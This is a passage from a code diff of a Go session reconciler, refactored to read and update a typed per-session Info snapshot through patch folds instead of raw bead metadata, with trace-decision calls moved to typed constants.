+			// is now ApplyPatch(terminalErrBatch) — a no-op when there is no terminal
+			// error — rather than the old raw re-projection that would have repaired a
+			// stale heal snapshot, so the healed state must reach that guard (and the
+			// post-zombie rollback read on the preserveNamed fall-through) through this
+			// fold alone. Guarded by
+			// TestReconcileSessionBeads_HealStateReflectedOnSnapshot.
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(healBatch)
+			infoPostHeal := infoByID[session.ID]
 			switch {
 			case preserveNamed:
-				template := normalizedSessionTemplate(*session, cfg)
+				template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 				if template == "" {
-					template = session.Metadata["template"]
+					template = infoPostHeal.Template
 				}
 				switch {
 				case preserveErr != nil:
@@ -1360,25 +1778,25 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					desired = true
 				}
 				if trace != nil {
-					trace.recordDecision("reconciler.session.preserve_configured_named", template, name, "preserve", map[bool]string{
+					trace.RecordDecision(TraceSiteReconcilerPreserveConfiguredNamed, TraceReasonPreserve, TraceOutcomeCode(map[bool]string{
 						true:  "kept_open",
 						false: "resolution_failed",
-					}[desired], traceRecordPayload{
+					}[desired]), template, name, traceRecordPayload{
 						"provider_alive": providerAlive,
 						"degraded":       preserveErr != nil,
-					}, nil, "")
+					})
 				}
-			case pendingCreateSessionStillLeased(*session, cfg, clk):
-				template := normalizedSessionTemplate(*session, cfg)
+			case pendingCreateSessionStillLeasedInfo(infoPostHeal, cfg, clk):
+				template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 				if template == "" {
-					template = session.Metadata["template"]
+					template = infoPostHeal.Template
 				}
 				if trace != nil {
-					trace.recordDecision("reconciler.session.pending_create_preserved", template, name, "pending_create", "kept_open", traceRecordPayload{
-						"pending_create_claim": strings.TrimSpace(session.Metadata["pending_create_claim"]),
+					trace.RecordDecision(TraceSiteReconcilerPendingCreatePreserved, TraceReasonPendingCreate, TraceOutcomeKeptOpen, template, name, traceRecordPayload{
+						"pending_create_claim": strings.TrimSpace(infoByID[session.ID].PendingCreateClaimMetadata),
 						"provider_alive":       providerAlive,
-						"state":                session.Metadata["state"],
-					}, nil, "")
+						"state":                infoByID[session.ID].MetadataState,
+					})
 				}
 				continue
 			default:
@@ -1395,14 +1813,14 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 						if storeQueryPartial {
 							fmt.Fprintf(stdout, "Skipping drain-ack stop for '%s': store query partial (transient failure)\n", name) //nolint:errcheck
 							if trace != nil {
-								template := normalizedSessionTemplate(*session, cfg)
+								template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 								if template == "" {
-									template = session.Metadata["template"]
+									template = infoPostHeal.Template
 								}
-								trace.recordDecision("reconciler.session.drain_ack", template, name, "store_query_partial", "deferred", traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonStoreQueryPartial, TraceOutcomeDeferred, template, name, traceRecordPayload{
 									"store_query_partial": true,
 									"provider_alive":      providerAlive,
-								}, nil, "")
+								})
 							}
 							continue
 						}
@@ -1416,39 +1834,54 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							if cancelSessionDrainForAssignedWork(*session, sp, dt) ||
 								cancelRecoveredDrainForAssignedWork(*session, sp, name) {
 								_ = dops.clearDrain(name)
-								template := normalizedSessionTemplate(*session, cfg)
+								template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 								if template == "" {
-									template = session.Metadata["template"]
+									template = infoPostHeal.Template
 								}
 								fmt.Fprintf(stdout, "Canceled drain-acked session '%s' (assigned work)\n", name) //nolint:errcheck
 								if trace != nil {
-									trace.recordDecision("reconciler.drain.cancel", template, name, ackReason, "cancel_assigned_work", nil, nil, "")
+									trace.RecordDecision(TraceSiteDrainCancel, TraceReasonCode(ackReason), TraceOutcomeCancelAssignedWork, template, name, nil)
 								}
 								continue
 							}
 						}
 						if providerAlive {
-							template := normalizedSessionTemplate(*session, cfg)
+							template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 							if template == "" {
-								template = session.Metadata["template"]
+								template = infoPostHeal.Template
 							}
-							if markDrainAckStopPending(session, sessFront, clk, stderr) {
+							if markDrainAckStopPending(infoByID[session.ID], sessFront, clk, stderr) {
+								// Fold the stop-pending transition onto the snapshot (Step 6d):
+								// markDrainAckStopPending mirrors DrainAckStopPendingPatch only on
+								// this true return; its Info keys (state=draining,
+								// state_reason=drain-ack-stop-pending, cleared pending_create_*) are
+								// time-independent, so reconstructing the patch reproduces the
+								// mirror (drain_at is non-Info). Cross-session isDrainAckStopPendingInfo
+								// reader. Pre-pass-masked (STEP6-PREPASS-AUDIT group 3).
+								infoByID[session.ID] = infoByID[session.ID].ApplyPatch(sessionpkg.DrainAckStopPendingPatch(clk.Now().UTC()))
 								clearDrainTrackerForStopPending(session, dt)
 								queueDrainAckAsyncStop(cityPath, store, sp, cfg, session.ID, name, asyncStopTracker, stderr)
 								if trace != nil {
-									trace.recordDecision("reconciler.session.drain_ack", template, name, "orphaned", "stop_pending", nil, nil, "")
+									trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonOrphaned, TraceOutcomeStopPending, template, name, nil)
 								}
 							}
 							continue
 						}
-						template := normalizedSessionTemplate(*session, cfg)
+						template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 						if template == "" {
-							template = session.Metadata["template"]
+							template = infoPostHeal.Template
 						}
-						finalizeDrainAckStoppedSession(
-							cityPath, cfg, store, rigStores, session, template,
+						result := finalizeDrainAckStoppedSession(
+							cityPath, cfg, store, rigStores, session, infoByID[session.ID], template,
 							true, dops, dt, clk, rec, stderr,
 						)
+						// finalizeDrainAckStoppedSession may close the bead in memory; fold
+						// that close onto the snapshot so the cross-session min-floor scan
+						// stays coherent (write-returns-Info, Step 6d, replacing the raw
+						// refreshSessionInfo re-projection). infoByID[session.ID] holds the
+						// coherent post-heal Info (refreshed at the heal above; no *session
+						// mutation reaches here on this !providerAlive path).
+						infoByID[session.ID] = result.applyTo(infoByID[session.ID])
 						continue
 					}
 				}
@@ -1473,15 +1906,15 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					}
 					if hasAssignedWork {
 						if trace != nil {
-							template := normalizedSessionTemplate(*session, cfg)
+							template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 							if template == "" {
-								template = session.Metadata["template"]
+								template = infoPostHeal.Template
 							}
-							trace.recordDecision("reconciler.session.orphan_or_suspended", template, name, reason, "kept_open", traceRecordPayload{
+							trace.RecordDecision(TraceSiteReconcilerOrphaned, TraceReasonCode(reason), TraceOutcomeKeptOpen, template, name, traceRecordPayload{
 								"store_query_partial": storeQueryPartial,
 								"provider_alive":      providerAlive,
 								"live_assigned_work":  true,
-							}, nil, "")
+							})
 						}
 						fmt.Fprintf(stdout, "Skipping drain for '%s': live assigned work found\n", name) //nolint:errcheck
 						continue
@@ -1497,18 +1930,18 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					// cleared above once the spec reappears. Scoped to live sessions:
 					// a dead bead with no spec still releases its alias immediately
 					// (ga-ue1r).
-					if isNamedSessionBead(*session) {
+					if isNamedSessionInfo(infoPostHeal) {
 						if n := dt.bumpSuspendDeferral(session.ID); n < namedSuspendConfirmTicks {
 							if trace != nil {
-								template := normalizedSessionTemplate(*session, cfg)
+								template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 								if template == "" {
-									template = session.Metadata["template"]
+									template = infoPostHeal.Template
 								}
-								trace.recordDecision("reconciler.session.orphan_or_suspended", template, name, reason, "deferred_confirm", traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerOrphaned, TraceReasonCode(reason), TraceOutcomeDeferredConfirm, template, name, traceRecordPayload{
 									"confirm_ticks":    n,
 									"confirm_required": namedSuspendConfirmTicks,
 									"provider_alive":   providerAlive,
-								}, nil, "")
+								})
 							}
 							fmt.Fprintf(stdout, "Deferring drain for named session '%s': awaiting spec-absence confirmation (%d/%d) — transient enumeration-collapse guard (#3630)\n", name, n, namedSuspendConfirmTicks) //nolint:errcheck
 							continue
@@ -1516,14 +1949,14 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					}
 					if beginSessionDrain(*session, sp, dt, reason, clk, defaultDrainTimeout) {
 						if trace != nil {
-							template := normalizedSessionTemplate(*session, cfg)
+							template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 							if template == "" {
-								template = session.Metadata["template"]
+								template = infoPostHeal.Template
 							}
-							trace.recordDecision("reconciler.session.orphan_or_suspended", template, name, reason, "drain", traceRecordPayload{
+							trace.RecordDecision(TraceSiteReconcilerOrphaned, TraceReasonCode(reason), TraceOutcomeDrain, template, name, traceRecordPayload{
 								"store_query_partial": storeQueryPartial,
 								"provider_alive":      providerAlive,
-							}, nil, "")
+							})
 						}
 						fmt.Fprintf(stdout, "Draining session '%s': %s\n", name, reason) //nolint:errcheck
 					}
@@ -1533,18 +1966,30 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					if configuredNames[name] {
 						reason = "suspended"
 					}
-					template := normalizedSessionTemplate(*session, cfg)
+					template := normalizedSessionTemplateInfo(infoPostHeal, cfg)
 					if template == "" {
-						template = session.Metadata["template"]
+						template = infoPostHeal.Template
 					}
 					if trace != nil {
-						trace.recordDecision("reconciler.session.close_orphan", template, name, reason, "closed", nil, nil, "")
+						trace.RecordDecision(TraceSiteReconcilerCloseOrphan, TraceReasonCode(reason), TraceOutcomeClosed, template, name, nil)
 					}
 					if storeQueryPartial || reconcileOpts.deferSessionClosesOnBoot {
 						continue
 					}
 					if closeSessionBeadIfReachableStoreUnassigned(cityPath, cfg, store, rigStores, *session, reason, clk.Now().UTC(), stderr) {
 						session.Status = "closed"
+						// Keep the snapshot's Info.Closed in step with the in-memory
+						// close so the cross-session min-floor scan does not count this
+						// orphan. Store-only close (same helper family as the
+						// failed-create site above: closeBead/closeFailedCreateBead stamp
+						// the ClosePatch on the store, not the raw bead), so the only
+						// raw-bead change is Status="closed" and the byte-identical
+						// snapshot refresh is MarkClosed (Closed=true, State="") — the
+						// write-returns-Info status-close half of the Step-6d cutover.
+						// The heal refresh (~1628) already synced this entry, so
+						// MarkClosed folds onto a coherent pre-close Info. Guarded by
+						// TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseOrphan.
+						infoByID[session.ID] = infoByID[session.ID].MarkClosed()
 					}
 				}
 				continue
@@ -1560,16 +2005,21 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		recordResetStallIfDue(*session, tp.TemplateName, name, alive, startupTimeout, clk.Now().UTC(), dt, rec, stderr, trace)
 
 		// Zombie capture: session exists but process dead — grab scrollback for forensics.
+		// terminalErrBatch carries the markProviderTerminalError mirror (if it ran) out
+		// to the snapshot refresh below; nil when nothing was written.
+		var terminalErrBatch map[string]string
 		if running && !alive {
 			if output, err := peek(rateLimitPeekLines); err == nil && output != "" {
 				if reason := runtime.ProviderTerminalErrorReason(output); reason != "" {
-					if markErr := markProviderTerminalError(session, sessFront, clk, reason); markErr != nil {
+					markBatch, markErr := markProviderTerminalError(session, sessFront, clk, reason)
+					if markErr != nil {
 						fmt.Fprintf(stderr, "session reconciler: marking terminal provider error for %s: %v\n", name, markErr) //nolint:errcheck
 					}
+					terminalErrBatch = markBatch
 					if trace != nil {
-						trace.recordDecision("reconciler.session.terminal_provider_error", tp.TemplateName, name, reason, "unhealthy", traceRecordPayload{
+						trace.RecordDecision(TraceSiteReconcilerTerminalProviderError, TraceReasonCode(reason), TraceOutcomeUnhealthy, tp.TemplateName, name, traceRecordPayload{
 							"session_bead_id": session.ID,
-						}, nil, "")
+						})
 					}
 				}
 				if !runtime.ContainsProviderRateLimitScreen(output) {
@@ -1584,8 +2034,34 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 				}
 			}
 		}
-		if alive && shouldRollbackPendingCreate(session) && !runningSessionMatchesPendingCreate(session, name, sp) {
-			attemptRollbackPendingCreate(session, tp.TemplateName, name, "pending_create_rollback", "live runtime belongs to another session", false)
+		// Refresh the snapshot after the zombie-capture block by folding the
+		// markProviderTerminalError batch onto it via write-returns-Info (Step 6d),
+		// instead of re-projecting the raw bead. markProviderTerminalError mirrors
+		// terminalErrBatch onto session.Metadata in lockstep and returns exactly that
+		// batch (nil when it wrote nothing — not a zombie, empty reason, or a persist
+		// error), so ApplyPatch(terminalErrBatch) reproduces the raw refresh: nil ⇒
+		// no-op. This is byte-identical because infoByID[session.ID] is coherent here
+		// — terminalErrBatch is the only session.Metadata mutation on the paths that
+		// reach this point. Only two path shapes arrive: the desired fast path (skips
+		// the `if !desired` block and mutates nothing but the drain tracker via
+		// recordResetStallIfDue, which takes the bead by value), and the ONE
+		// non-continue arm of that block — the post-heal `case preserveNamed:` — whose
+		// body sets local tp/desired and records a trace only, and which was
+		// heal-folded just above (~1713). (Every drain/drain-ack/orphan-close arm of
+		// the switch `continue`s, so no drained bead reaches this fold.) The
+		// alive-gated read just below never sees a
+		// markProviderTerminalError mutation (that runs only under `running && !alive`,
+		// mutually exclusive with `alive`); the !alive rollback reads below run on the
+		// folded snapshot, and the further mutations between them sit on `continue`
+		// paths (attemptRollbackPendingCreate; checkRateLimitStability on hit), so
+		// infoPostZombie stays byte-identical throughout. Guarded by
+		// TestReconcileSessionBeads_ZombieTerminalErrorReflectedOnSnapshot.
+		infoByID[session.ID] = infoByID[session.ID].ApplyPatch(terminalErrBatch)
+		infoPostZombie := infoByID[session.ID]
+		if alive && shouldRollbackPendingCreateInfo(infoPostZombie) && !runningSessionMatchesPendingCreate(session, name, sp) {
+			// Fold the rollback's mirrored metadata onto the snapshot (Step 6d;
+			// no Closed change — store-only close). STEP6-PREPASS-AUDIT group 2.
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(attemptRollbackPendingCreate(session, tp.TemplateName, name, "pending_create_rollback", "live runtime belongs to another session", false))
 			continue
 		}
 		// Desired-branch counterpart to pendingCreateSessionStillLeased: a
@@ -1595,17 +2071,22 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		// attempts ("alias already belongs to gm-XXXX") for any session whose
 		// template still has demand. Rolling back closes the dead bead so the
 		// next reconciler tick can allocate a fresh slot under the same alias.
-		if !alive && shouldRollbackPendingCreate(session) {
+		if !alive && shouldRollbackPendingCreateInfo(infoPostZombie) {
 			var startupTimeout time.Duration
 			if cfg != nil {
 				startupTimeout = cfg.Session.StartupTimeoutDuration()
 			}
-			if pendingCreateLeaseExpiredForRollback(*session, clk, startupTimeout) {
-				rateLimitHit, rateLimitErr := checkRateLimitStability(session, cfg, alive, dt, sessFront, clk, peek)
+			if pendingCreateLeaseExpiredForRollbackInfo(infoPostZombie, clk, startupTimeout) {
+				rateLimitHit, rlBatch, rateLimitErr := checkRateLimitStability(session, cfg, alive, dt, sessFront, clk, peek)
 				if rateLimitHit || rateLimitErr != nil {
+					// Fold the rate-limit batch onto the snapshot (Step 6d write-returns-Info).
+					// Pre-pass-masked (STEP6-PREPASS-AUDIT group 1).
+					infoByID[session.ID] = infoByID[session.ID].ApplyPatch(rlBatch)
 					continue
 				}
-				attemptRollbackPendingCreate(session, tp.TemplateName, name, "pending_create_lease_expired", "lease expired and no live runtime", false)
+				// Fold the rollback's mirrored metadata onto the snapshot (Step 6d;
+				// no Closed change — store-only close). STEP6-PREPASS-AUDIT group 2.
+				infoByID[session.ID] = infoByID[session.ID].ApplyPatch(attemptRollbackPendingCreate(session, tp.TemplateName, name, "pending_create_lease_expired", "lease expired and no live runtime", false))
 				continue
 			}
 		}
@@ -1622,7 +2103,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					if staleReconcilerDrainAck(*session, sp, name) {
 						_ = clearReconcilerDrainAckMetadata(sp, name)
 						if trace != nil {
-							trace.recordDecision("reconciler.session.drain_ack", tp.TemplateName, name, "stale_generation", "clear", nil, nil, "")
+							trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonStaleGeneration, TraceOutcomeClear, tp.TemplateName, name, nil)
 						}
 						continue
 					}
@@ -1637,10 +2118,10 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					if reconcilerOwnedAck && storeQueryPartial {
 						fmt.Fprintf(stdout, "Skipping reconciler drain-ack stop for '%s': store query partial (transient failure)\n", name) //nolint:errcheck
 						if trace != nil {
-							trace.recordDecision("reconciler.session.drain_ack", tp.TemplateName, name, "store_query_partial", "deferred", traceRecordPayload{
+							trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonStoreQueryPartial, TraceOutcomeDeferred, tp.TemplateName, name, traceRecordPayload{
 								"store_query_partial":  true,
 								"reconciler_owned_ack": true,
-							}, nil, "")
+							})
 						}
 						continue
 					}
@@ -1654,7 +2135,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 							(cancelSessionDrainForAssignedWork(*session, sp, dt) || cancelRecoveredDrainForAssignedWork(*session, sp, name)) {
 							_ = dops.clearDrain(name)
 							if trace != nil {
-								trace.recordDecision("reconciler.drain.cancel", tp.TemplateName, name, ackReason, "cancel_assigned_work", nil, nil, "")
+								trace.RecordDecision(TraceSiteDrainCancel, TraceReasonCode(ackReason), TraceOutcomeCancelAssignedWork, tp.TemplateName, name, nil)
 							}
 							continue
 						}
@@ -1675,10 +2156,10 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 								_ = clearReconcilerDrainAckMetadata(sp, name)
 							}
 							if trace != nil {
-								trace.recordDecision("reconciler.session.drain_ack", tp.TemplateName, name, "config_drift_attachment_error", "cancel_reconciler_ack", traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonConfigDriftAttachmentError, TraceOutcomeCancelReconcilerAck, tp.TemplateName, name, traceRecordPayload{
 									"drain_canceled": drainCancelled,
 									"error":          attachErr.Error(),
-								}, nil, "")
+								})
 							}
 							continue
 						}
@@ -1693,9 +2174,9 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 								_ = clearReconcilerDrainAckMetadata(sp, name)
 							}
 							if trace != nil {
-								trace.recordDecision("reconciler.session.drain_ack", tp.TemplateName, name, "config_drift_attached", "cancel_reconciler_ack", traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonConfigDriftAttached, TraceOutcomeCancelReconcilerAck, tp.TemplateName, name, traceRecordPayload{
 									"drain_canceled": drainCancelled,
-								}, nil, "")
+								})
 							}
 							continue
 						}
@@ -1705,9 +2186,9 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 								_ = clearReconcilerDrainAckMetadata(sp, name)
 							}
 							if trace != nil {
-								trace.recordDecision("reconciler.session.drain_ack", tp.TemplateName, name, "config_drift_recently_attached", "cancel_reconciler_ack", traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonConfigDriftRecentlyAttached, TraceOutcomeCancelReconcilerAck, tp.TemplateName, name, traceRecordPayload{
 									"drain_canceled": drainCancelled,
-								}, nil, "")
+								})
 							}
 							continue
 						}
@@ -1715,16 +2196,20 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					if pendingInteractionKeepsAwake(*session, sp, name, clk) &&
 						(cancelReconcilerAckedDrain(*session, sp, dt) || cancelRecoveredReconcilerAckedDrain(*session, sp, name)) {
 						if trace != nil {
-							trace.recordDecision("reconciler.session.drain_ack", tp.TemplateName, name, "pending", "cancel_reconciler_ack", nil, nil, "")
+							trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonPending, TraceOutcomeCancelReconcilerAck, tp.TemplateName, name, nil)
 						}
 						continue
 					}
 					if alive {
-						if markDrainAckStopPending(session, sessFront, clk, stderr) {
+						if markDrainAckStopPending(infoByID[session.ID], sessFront, clk, stderr) {
+							// Fold the stop-pending transition onto the snapshot (Step 6d);
+							// deterministic DrainAckStopPendingPatch reconstruction, same as the
+							// orphan-arm site above (STEP6-PREPASS-AUDIT group 3).
+							infoByID[session.ID] = infoByID[session.ID].ApplyPatch(sessionpkg.DrainAckStopPendingPatch(clk.Now().UTC()))
 							clearDrainTrackerForStopPending(session, dt)
 							queueDrainAckAsyncStop(cityPath, store, sp, cfg, session.ID, name, asyncStopTracker, stderr)
 							if trace != nil {
-								trace.recordDecision("reconciler.session.drain_ack", tp.TemplateName, name, "acknowledged", "stop_pending", nil, nil, "")
+								trace.RecordDecision(TraceSiteReconcilerDrainAck, TraceReasonAcknowledged, TraceOutcomeStopPending, tp.TemplateName, name, nil)
 							}
 						}
 						continue
@@ -1733,12 +2218,19 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					if reconcilerOwnedAck {
 						finalizeDT = nil
 					}
-					finalizeDrainAckStoppedSession(
-						cityPath, cfg, store, rigStores, session, tp.TemplateName,
+					result := finalizeDrainAckStoppedSession(
+						cityPath, cfg, store, rigStores, session, infoByID[session.ID], tp.TemplateName,
 						isPoolManagedSessionBead(*session),
 						dops, finalizeDT,
 						clk, rec, stderr,
 					)
+					// finalizeDrainAckStoppedSession may close the bead in memory; fold
+					// that close onto the snapshot so the cross-session min-floor scan
+					// stays coherent (write-returns-Info, Step 6d, replacing the raw
+					// refreshSessionInfo re-projection). infoByID[session.ID] holds the
+					// coherent post-zombie Info (refreshed above; no *session mutation
+					// reaches here on this !alive fall-through path).
+					infoByID[session.ID] = result.applyTo(infoByID[session.ID])
 					continue
 				}
 			}
@@ -1783,19 +2275,14 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					if cfgAgent := findAgentByTemplate(cfg, tp.TemplateName); cfgAgent != nil {
 						minFloor := cfgAgent.EffectiveMinActiveSessions()
 						if minFloor > 0 {
-							openInPool := 0
-							for j := range ordered {
-								if ordered[j].Status != "closed" && normalizedSessionTemplate(ordered[j], cfg) == tp.TemplateName {
-									openInPool++
-								}
-							}
+							openInPool := openPoolSessionCountForTemplate(infoByID, cfg, tp.TemplateName)
 							if isMinFloorIdleWorker(minFloor, openInPool) {
 								exempt = true
 								if trace != nil {
-									trace.recordDecision(string(TraceSiteReconcilerProgressStallExempt), tp.TemplateName, name, "min_floor_idle_worker", "exempt", traceRecordPayload{
+									trace.RecordDecision(TraceSiteReconcilerProgressStallExempt, TraceReasonMinFloorIdleWorker, TraceOutcomeExempt, tp.TemplateName, name, traceRecordPayload{
 										"pool_min":  minFloor,
 										"pool_open": openInPool,
-									}, nil, "")
+									})
 								}
 							}
 						}
@@ -1825,10 +2312,15 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 					}
 				}
 				if sessionProgressStalled(threshold, holdsClaim, providerHealthy, exempt, lastActivity, clk.Now()) {
-					if session.Metadata == nil {
-						session.Metadata = map[string]string{}
-					}
-					session.Metadata["restart_requested"] = "true"
+					// Record the restart request on the typed snapshot only. This
+					// marker is decision-state consumed by the restart-request block
+					// below (which reads Info.RestartRequested off infoByID) and never
+					// read off the raw session bead — not by the start-execution path —
+					// so Step 5c dropped its raw session.Metadata mirror. The consume
+					// clears it on the snapshot (else #2574 re-fires a phantom second
+					// restart). The base is coherent here (the zombie fold synced
+					// infoByID and every intervening mutating block `continue`s).
+					infoByID[session.ID] = infoByID[session.ID].ApplyPatch(sessionpkg.MetadataPatch{"restart_requested": "true"})
 					fmt.Fprintf(stderr, "session reconciler: %s progress-stalled (no progress for >%s, no open claim, provider healthy); requesting fresh restart\n", name, threshold) //nolint:errcheck
 				}
 			}
@@ -1847,7 +2339,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			if runtimeRunning && dops != nil {
 				tmuxRequested, _ = dops.isRestartRequested(name)
 			}
-			beadRequested := session.Metadata["restart_requested"] == "true"
+			beadRequested := infoByID[session.ID].RestartRequested == "true"
 			if tmuxRequested || beadRequested {
 				if runtimeRunning {
 					if err := workerKillSessionTargetWithConfig("", store, sp, cfg, name); err != nil {
@@ -1881,16 +2373,33 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 				if session.Metadata == nil {
 					session.Metadata = make(map[string]string, len(batch))
 				}
+				// Fold the mirrored batch onto the snapshot too (Step 6d
+				// write-returns-Info), so the restart handoff — which CONSUMES the
+				// in-memory restart_requested marker (RestartRequestPatch sets it to "")
+				// and clears started_config_hash / last_woke_at / pending_create_* —
+				// clears the marker (and its siblings) on the snapshot the awake scan
+				// reads. Without this, once the blanket pre-pass is dropped a consumed
+				// restart_requested would survive on the snapshot and re-fire as a
+				// phantom second restart (#2574). Excludes ResetCommittedAtKey exactly
+				// like the in-memory mirror above: the durable reset marker is for the
+				// next tick, and admitting it here would force-wake on-demand sessions
+				// without demand (#2345).
+				//
+				// START-EXECUTION COUPLING (Step 5c): the raw session.Metadata mirror
+				// is RETAINED. On the runtime-already-dead fall-through below this
+				// session can reach startCandidates this same tick, and the start
+				// executor reads last_woke_at (cleared by RestartRequestPatch) off the
+				// raw bead via wakeFairnessTime BEFORE it re-Gets the bead from the
+				// store — dropping the mirror would perturb the wake-fairness ordering.
+				restartFold := make(sessionpkg.MetadataPatch, len(batch))
 				for key, value := range batch {
-					// The durable reset commit marker is for the next
-					// reconciler pass; keeping it out of this tick's
-					// in-memory bead prevents on-demand sessions from
-					// being force-woken without demand.
 					if key == sessionpkg.ResetCommittedAtKey {
 						continue
 					}
 					session.Metadata[key] = value
+					restartFold[key] = value
 				}
+				infoByID[session.ID] = infoByID[session.ID].ApplyPatch(restartFold)
 				if runtimeRunning {
 					if tmuxRequested && dops != nil {
 						if err := dops.clearRestartRequested(name); err != nil {
@@ -1914,15 +2423,18 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 
 		policy := resolveSessionSleepPolicy(*session, cfg, sp)
 
-		rateLimitHit, rateLimitErr := checkRateLimitStability(session, cfg, alive, dt, sessFront, clk, peek)
+		rateLimitHit, rlBatchFwd, rateLimitErr := checkRateLimitStability(session, cfg, alive, dt, sessFront, clk, peek)
 		if rateLimitHit || rateLimitErr != nil {
+			// Fold the rate-limit batch onto the snapshot (Step 6d write-returns-Info).
+			// Pre-pass-masked (STEP6-PREPASS-AUDIT group 1).
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(rlBatchFwd)
 			continue // rate-limit hold recorded before state healing resets continuity metadata
 		}
 
 		// Heal advisory state metadata.
-		stateBeforeHeal := sessionpkg.State(strings.TrimSpace(session.Metadata["state"]))
-		pendingCreateStartedAtBeforeHeal := strings.TrimSpace(session.Metadata["pending_create_started_at"])
-		lastWokeAtBeforeHeal := strings.TrimSpace(session.Metadata["last_woke_at"])
+		stateBeforeHeal := sessionpkg.State(strings.TrimSpace(infoByID[session.ID].MetadataState))
+		pendingCreateStartedAtBeforeHeal := strings.TrimSpace(infoByID[session.ID].PendingCreateStartedAt)
+		lastWokeAtBeforeHeal := strings.TrimSpace(infoByID[session.ID].LastWokeAt)
 		healBatch := healStateWithRollback(session, alive, sessFront, clk, startupTimeout, true)
 		traceHealClearedPendingCreateLease(
 			trace,
@@ -1936,14 +2448,36 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			alive,
 			healBatch,
 		)
+		// Fold heal#2's batch onto the snapshot (Step 6d write-returns-Info),
+		// identical to the heal#1 fold above (~1713): healStateWithRollback returns
+		// exactly the batch it mirrored (nil ⇒ ApplyPatch no-op). The base is
+		// coherent here — the pre-heal rate-limit gate `continue`s on hit and the
+		// restart/drain-ack blocks above either `continue` or self-refresh. This is
+		// one of the forward-pass writers the blanket pre-pass still masks; folding it
+		// is a prerequisite for that pre-pass's deletion (STEP6-PREPASS-AUDIT group 4).
+		infoByID[session.ID] = infoByID[session.ID].ApplyPatch(healBatch)
 		if recoverPendingIdleSleep(session, sessFront, running, clk) {
 			alive = false
+			// Fold the idle-stop-pending recovery sleep onto the snapshot (Step 6d).
+			// recoverPendingIdleSleep mirrors SleepPatch(now,"idle") only on this true
+			// return; its Info-projected keys are time-independent, so reconstructing
+			// the same SleepPatch reproduces the mirror exactly (slept_at /
+			// sleep_policy_fingerprint are non-Info). Pre-pass-masked (STEP6-PREPASS-AUDIT
+			// group 6).
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(sessionpkg.SleepPatch(clk.Now().UTC(), "idle"))
 		}
-		reconcileDetachedAt(session, store, policy, alive, sp, clk)
+		// Fold detached_at change onto the snapshot (Step 6d write-returns-Info).
+		// reconcileDetachedAt returns the {"detached_at": <value>} batch it mirrored,
+		// or nil on no-op. Pre-pass-masked (STEP6-PREPASS-AUDIT group 6).
+		infoByID[session.ID] = infoByID[session.ID].ApplyPatch(reconcileDetachedAt(session, store, policy, alive, sp, clk))
 
 		// Stability check: detect rapid crash after state healing. Rate-limit
 		// detection intentionally ran above before healState.
-		if checkStability(session, cfg, alive, dt, sessFront, clk, nil) {
+		// Fold the returned batch onto the snapshot (Step 6d write-returns-Info);
+		// nil (no-op) when no stability event was recorded.
+		// Pre-pass-masked (STEP6-PREPASS-AUDIT group 2).
+		if stab, stabBatch := checkStability(session, cfg, alive, dt, sessFront, clk, nil); stab {
+			infoByID[session.ID] = infoByID[session.ID].ApplyPatch(stabBatch)
 			continue // rapid exit recorded, skip further processing
 		}
 
@@ -1951,31 +2485,53 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		// Fires for sessions that survived past stabilityThreshold but
 		// died before churnProductivityThreshold — alive long enough to
 		// not be a rapid crash, but too short to be productive.
-		if checkChurn(session, cfg, alive, dt, sessFront, clk) {
+		// Fold the returned batch onto the snapshot (Step 6d write-returns-Info)
+		// regardless of the bool — ExitProductiveDeath may clear churn_count.
+		// Pre-pass-masked (STEP6-PREPASS-AUDIT group 5).
+		churn, churnBatch := checkChurn(session, cfg, alive, dt, sessFront, clk)
+		infoByID[session.ID] = infoByID[session.ID].ApplyPatch(churnBatch)
+		if churn {
 			continue // churn recorded, skip further processing
 		}
 
 		// Clear wake failures for sessions that have been stable long enough.
+		// Fold the returned batch onto the snapshot (Step 6d write-returns-Info);
